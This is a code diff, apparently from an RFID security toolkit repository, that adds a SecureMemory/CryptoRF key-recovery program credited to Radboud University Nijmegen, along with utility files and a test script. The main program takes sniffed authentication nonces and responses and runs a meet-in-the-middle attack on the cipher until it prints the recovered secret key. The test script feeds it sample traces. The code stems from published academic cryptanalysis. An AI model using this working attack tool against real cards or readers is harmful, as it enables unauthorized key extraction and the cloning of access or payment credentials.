map<uint64_t,uint64_t>::iterator itmatch;
|
||||
uint64_t lstate;
|
||||
size_t counter;
|
||||
|
||||
// Generate 2^20 different (5 bits) values for the first 4 Gc bytes (0,1,2,3)
|
||||
for (counter=0; counter<0x100000; counter++)
|
||||
{
|
||||
lstate = lstate_before_gc;
|
||||
next_left_fast((counter >> 15) & 0x1f,&lstate);
|
||||
next_left_fast((counter >> 10) & 0x1f,&lstate);
|
||||
next_left_fast(Q[4],&lstate);
|
||||
next_left_fast((counter >> 5) & 0x1f,&lstate);
|
||||
next_left_fast(counter & 0x1f,&lstate);
|
||||
next_left_fast(Q[5],&lstate);
|
||||
matchbox[lstate] = counter;
|
||||
}
|
||||
|
||||
// Copy the input candidate states and clean the output vector
|
||||
csl_cand = *pcstates;
|
||||
pcstates->clear();
|
||||
|
||||
for(itcand=csl_cand.begin();itcand!=csl_cand.end();++itcand)
|
||||
{
|
||||
csl_search.clear();
|
||||
csl_search.push_back(*itcand);
|
||||
|
||||
// Generate 2^20(+splitting) different (5 bits) values for the last 4 Gc bytes (4,5,6,7)
|
||||
previous_left(Q[7],&csl_search);
|
||||
previous_all_input(&csl_search,7,CSS_LEFT);
|
||||
previous_all_input(&csl_search,6,CSS_LEFT);
|
||||
previous_left(Q[6],&csl_search);
|
||||
previous_all_input(&csl_search,5,CSS_LEFT);
|
||||
previous_all_input(&csl_search,4,CSS_LEFT);
|
||||
|
||||
// Take the intersection of the corresponding states ~2^15 values (40-25 = 15 bits)
|
||||
for(itsearch=csl_search.begin();itsearch!=csl_search.end();++itsearch)
|
||||
{
|
||||
itmatch = matchbox.find(itsearch->l);
|
||||
if (itmatch != matchbox.end())
|
||||
{
|
||||
itsearch->Gc[0] = (itmatch->second >> 15) & 0x1f;
|
||||
itsearch->Gc[1] = (itmatch->second >> 10) & 0x1f;
|
||||
itsearch->Gc[2] = (itmatch->second >> 5) & 0x1f;
|
||||
itsearch->Gc[3] = itmatch->second & 0x1f;
|
||||
|
||||
/*
|
||||
printf("%07llx ",it->l);
|
||||
printf("(%x) ",itmatch->second);
|
||||
print_cs("",&(*it));
|
||||
*/
|
||||
/*
|
||||
if (itsearch->l == 0x405162420ull)
|
||||
{
|
||||
print_cs("previous:",&(*itsearch));
|
||||
printf("%09llx\n",itsearch->l);
|
||||
print_bytes(itsearch->Gc,8);
|
||||
}
|
||||
count++;
|
||||
*/
|
||||
pcstates->push_back(*itsearch);
|
||||
}
|
||||
}
|
||||
// printf("%09llx: ",itcand->l);
|
||||
// printf("%d - %d\n",csl_search.size(),count);
|
||||
printf(".");
|
||||
fflush(stdout);
|
||||
}
|
||||
printf("\n");
|
||||
}
|
||||
|
||||
void combine_valid_left_right_states(vector<cs_t>* plcstates, vector<cs_t>* prcstates, vector<uint64_t>* pgc_candidates)
|
||||
{
|
||||
vector<cs_t>::iterator itl, itr;
|
||||
size_t pos,count;
|
||||
uint64_t gc;
|
||||
bool valid;
|
||||
|
||||
// Clean up the candidate list
|
||||
pgc_candidates->clear();
|
||||
count = 0;
|
||||
for(itl=plcstates->begin();itl!=plcstates->end();++itl)
|
||||
{
|
||||
for(itr=prcstates->begin();itr!=prcstates->end();++itr)
|
||||
{
|
||||
valid = true;
|
||||
// Check for left and right candidates that share the overlapping bits (8 x 2bits of Gc)
|
||||
for (pos=0; pos<8; pos++)
|
||||
{
|
||||
if ((itl->Gc[pos] & 0x18) != (itr->Gc[pos] & 0x18))
|
||||
{
|
||||
valid = false;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (valid)
|
||||
{
|
||||
gc = 0;
|
||||
for (pos=0; pos<8; pos++)
|
||||
{
|
||||
gc <<= 8;
|
||||
gc |= (itl->Gc[pos] | itr->Gc[pos]);
|
||||
}
|
||||
// printf("%016llx\n",gc);
|
||||
pgc_candidates->push_back(gc);
|
||||
// printf("%09llx - ",itl->l);
|
||||
// printf("%07llx\n",itr->r);
|
||||
}
|
||||
count++;
|
||||
}
|
||||
}
|
||||
printf("Found a total of " _YELLOW_("%llu")" combinations, ",((unsigned long long)plcstates->size()) * prcstates->size());
|
||||
printf("but only " _GREEN_("%lu")" were valid!\n", pgc_candidates->size());
|
||||
}
|
||||
|
||||
int main(int argc, const char* argv[])
|
||||
{
|
||||
size_t pos;
|
||||
crypto_state_t ostate;
|
||||
uint64_t rstate_before_gc,rstate_after_gc;
|
||||
uint64_t lstate_before_gc;
|
||||
vector<uint64_t> rstates,lstates_after_gc,pgc_candidates;
|
||||
vector<uint64_t>::iterator itrstates,itgc;
|
||||
vector<cs_t> crstates;
|
||||
vector<cs_t> clcandidates,clstates;
|
||||
vector<cs_t>::iterator it;
|
||||
uint32_t rbits;
|
||||
|
||||
// byte_t Gc[ 8] = {0x4f,0x79,0x4a,0x46,0x3f,0xf8,0x1d,0x81};
|
||||
// byte_t Gc[ 8] = {0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};
|
||||
// byte_t Ci[ 8] = {0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff};
|
||||
// byte_t Q[ 8] = {0x12,0x34,0x56,0x78,0x12,0x34,0x56,0x78};
|
||||
byte_t Gc[ 8];
|
||||
byte_t Ci[ 8];
|
||||
byte_t Q[ 8];
|
||||
byte_t Ch[ 8];
|
||||
byte_t Ci_1[ 8];
|
||||
|
||||
byte_t Gc_chk[ 8];
|
||||
byte_t Ch_chk[ 8];
|
||||
byte_t Ci_1_chk[ 8];
|
||||
|
||||
// byte_t ks[16] = {0xde,0x88,0xc2,0xc9,0xee,0xd4,0x1b,0x46,0x1c,0x6a,0x92,0x50,0x76,0x1a,0xe9,0x87};
|
||||
// byte_t mask[16] = {0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};
|
||||
// byte_t mask[16] = {0x04,0xb0,0xe1,0x10,0xc0,0x33,0x44,0x20,0x20,0x00,0x70,0x8c,0x22,0x04,0x10,0x80};
|
||||
|
||||
byte_t ks[16];
|
||||
byte_t mask[16];
|
||||
|
||||
ui64 nCi; // Card random
|
||||
ui64 nQ; // Reader random
|
||||
ui64 nCh; // Reader challange
|
||||
ui64 nCi_1; // Card anwser
|
||||
|
||||
if ((argc != 2) && (argc != 5))
|
||||
{
|
||||
printf("SecureMemory recovery - (c) Radboud University Nijmegen\n\n");
|
||||
printf("syntax: sma simulate\n");
|
||||
printf(" sma <Ci> <Q> <Ch> <Ci+1>\n\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
printf(_CYAN_("\nAuthentication info\n\n"));
|
||||
|
||||
// Check if this is a simulation
|
||||
if (argc == 2)
|
||||
{
|
||||
// Generate random values for the key and randoms
|
||||
srand((uint32_t)time(null));
|
||||
for (pos = 0; pos<8; pos++)
|
||||
{
|
||||
Gc[pos] = rand();
|
||||
Ci[pos] = rand();
|
||||
Q[pos] = rand();
|
||||
}
|
||||
sm_auth(Gc,Ci,Q,Ch,Ci_1,&ostate);
|
||||
printf(" Gc: "); print_bytes(Gc,8);
|
||||
} else {
|
||||
sscanf(argv[1],"%016llx",&nCi); num_to_bytes(nCi,8,Ci);
|
||||
sscanf(argv[2],"%016llx",&nQ); num_to_bytes(nQ,8,Q);
|
||||
sscanf(argv[3],"%016llx",&nCh); num_to_bytes(nCh,8,Ch);
|
||||
sscanf(argv[4],"%016llx",&nCi_1); num_to_bytes(nCi_1,8,Ci_1);
|
||||
printf(" Gc: unknown\n");
|
||||
}
|
||||
|
||||
for (pos = 0; pos<8; pos++)
|
||||
{
|
||||
ks[2*pos] = Ci_1[pos];
|
||||
ks[(2*pos)+1] = Ch[pos];
|
||||
}
|
||||
|
||||
printf(" Ci: "); print_bytes(Ci,8);
|
||||
printf(" Q: "); print_bytes(Q,8);
|
||||
printf(" Ch: "); print_bytes(Ch,8);
|
||||
printf("Ci+1: "); print_bytes(Ci_1,8);
|
||||
printf("\n");
|
||||
printf(" Ks: "); print_bytes(ks,16);
|
||||
printf("\n");
|
||||
|
||||
printf("Initializing lookup tables for increasing cipher speed\n");
|
||||
init_lookup_left();
|
||||
init_lookup_right();
|
||||
init_lookup_left_substraction();
|
||||
init_lookup_right_substraction();
|
||||
|
||||
// Load in the ci (tag-nonce), together with the first half of Q (reader-nonce)
|
||||
rstate_before_gc = 0;
|
||||
lstate_before_gc = 0;
|
||||
for (pos = 0; pos < 4; pos++)
|
||||
{
|
||||
next_right_fast(Ci[2*pos ],&rstate_before_gc);
|
||||
next_right_fast(Ci[2*pos+1],&rstate_before_gc);
|
||||
next_right_fast(Q[pos],&rstate_before_gc);
|
||||
|
||||
next_left_fast(Ci[2*pos ],&lstate_before_gc);
|
||||
next_left_fast(Ci[2*pos+1],&lstate_before_gc);
|
||||
next_left_fast(Q[pos],&lstate_before_gc);
|
||||
}
|
||||
|
||||
printf("Determing the right states that correspond to the keystream\n");
|
||||
rbits = sm_right(ks,mask,&rstates);
|
||||
printf("Top-bin for the right state contains " _GREEN_("%d")" correct bits\n",rbits);
|
||||
printf("Total count of right bins: " _YELLOW_("%lu") "\n",(unsigned long)rstates.size());
|
||||
|
||||
if (rbits < 96)
|
||||
{
|
||||
printf(_RED_("\n WARNING!!! Better find another trace, the right top-bin is < 96 bits\n\n"));
|
||||
}
|
||||
|
||||
for(itrstates=rstates.begin();itrstates!=rstates.end();++itrstates)
|
||||
{
|
||||
rstate_after_gc = *itrstates;
|
||||
sm_left_mask(ks,mask,rstate_after_gc);
|
||||
printf("Using the state from the top-right bin: " _YELLOW_("0x%07llx")"\n",(unsigned long long)rstate_after_gc);
|
||||
|
||||
search_gc_candidates_right(rstate_before_gc,rstate_after_gc,Q,&crstates);
|
||||
printf("Found " _YELLOW_("%lu")" right candidates using the meet-in-the-middle attack\n",crstates.size());
|
||||
if (crstates.size() == 0) continue;
|
||||
|
||||
printf("Calculating left states using the (unknown bits) mask from the top-right state\n");
|
||||
sm_left(ks,mask,&clstates);
|
||||
printf("Found a total of " _YELLOW_("%lu")" left cipher states, recovering left candidates...\n",clstates.size());
|
||||
if (clstates.size() == 0) continue;
|
||||
|
||||
search_gc_candidates_left(lstate_before_gc,Q,&clstates);
|
||||
printf("The meet-in-the-middle attack returned " _YELLOW_("%lu")" left cipher candidates\n",clstates.size());
|
||||
if (clstates.size() == 0) continue;
|
||||
|
||||
printf("Combining left and right states, disposing invalid combinations\n");
|
||||
combine_valid_left_right_states(&clstates,&crstates,&pgc_candidates);
|
||||
|
||||
printf("Filtering the correct one using the middle part\n");
|
||||
for(itgc=pgc_candidates.begin();itgc!=pgc_candidates.end();++itgc)
|
||||
{
|
||||
num_to_bytes(*itgc,8,Gc_chk);
|
||||
sm_auth(Gc_chk,Ci,Q,Ch_chk,Ci_1_chk,&ostate);
|
||||
if ((memcmp(Ch_chk,Ch,8) == 0) && (memcmp(Ci_1_chk,Ci_1,8) == 0))
|
||||
{
|
||||
printf("\nFound valid key: " _GREEN_("%016llX")"\n\n",(unsigned long long)*itgc);
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
printf(_RED_("Could not find key using this right cipher state.\n\n"));
|
||||
}
|
||||
return 0;
|
||||
}
|
1126
tools/cryptorf/sma_multi.cpp
Normal file
1126
tools/cryptorf/sma_multi.cpp
Normal file
File diff suppressed because it is too large
Load diff
9
tools/cryptorf/test.sh
Executable file
9
tools/cryptorf/test.sh
Executable file
|
@ -0,0 +1,9 @@
|
|||
#!/bin/sh
|
||||
|
||||
# harder test
|
||||
time ./sma c2fa94a5231d14e1 d291eeef5f76e6df 586385693a9b0f2c ec9aba404505b0fa
|
||||
time ./sma_multi c2fa94a5231d14e1 d291eeef5f76e6df 586385693a9b0f2c ec9aba404505b0fa
|
||||
|
||||
# simpler
|
||||
time ./sma ffffffffffffffff 1234567812345678 88c9d4466a501a87 dec2ee1b1c9276e9
|
||||
time ./sma_multi ffffffffffffffff 1234567812345678 88c9d4466a501a87 dec2ee1b1c9276e9
|
23
tools/cryptorf/util.c
Normal file
23
tools/cryptorf/util.c
Normal file
|
@ -0,0 +1,23 @@
|
|||
#include "util.h"
|
||||
#include <stdio.h>
|
||||
|
||||
void num_to_bytes(uint64_t n, size_t len, byte_t* dst)
|
||||
{
|
||||
while (len--)
|
||||
{
|
||||
dst[len] = (byte_t)n;
|
||||
n >>= 8;
|
||||
}
|
||||
}
|
||||
|
||||
void print_bytes(const byte_t* pbtData, const size_t szLen) {
|
||||
size_t uiPos;
|
||||
for (uiPos=0; uiPos < szLen; uiPos++) {
|
||||
printf("%02x ",pbtData[uiPos]);
|
||||
if (uiPos>20){
|
||||
printf("...");
|
||||
break;
|
||||
}
|
||||
}
|
||||
printf("\n");
|
||||
}
|
43
tools/cryptorf/util.h
Normal file
43
tools/cryptorf/util.h
Normal file
|
@ -0,0 +1,43 @@
|
|||
/*
|
||||
*
|
||||
* Various Utilities
|
||||
*
|
||||
* Copyright (C) 2010, Flavio D. Garcia, Peter van Rossum, Roel Verdult
|
||||
* and Ronny Wichers Schreur. Radboud University Nijmegen
|
||||
*
|
||||
* This program is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
*
|
||||
*/
|
||||
|
||||
#ifndef _UTIL_H_
|
||||
#define _UTIL_H_
|
||||
|
||||
#include <stdint.h>
|
||||
#include "defines.h"
|
||||
|
||||
|
||||
#define AEND "\x1b[0m"
|
||||
|
||||
#define _BLUE_(s) "\x1b[34m" s AEND
|
||||
#define _RED_(s) "\x1b[31m" s AEND
|
||||
#define _GREEN_(s) "\x1b[32m" s AEND
|
||||
#define _YELLOW_(s) "\x1b[33m" s AEND
|
||||
#define _MAGENTA_(s) "\x1b[35m" s AEND
|
||||
#define _CYAN_(s) "\x1b[36m" s AEND
|
||||
#define _WHITE_(s) "\x1b[37m" s AEND
|
||||
|
||||
void num_to_bytes(uint64_t n, size_t len, byte_t* dst);
|
||||
void print_bytes(const byte_t* pbtData, const size_t szLen);
|
||||
|
||||
#endif // _UTIL_H_
|
Loading…
Add table
Add a link
Reference in a new issue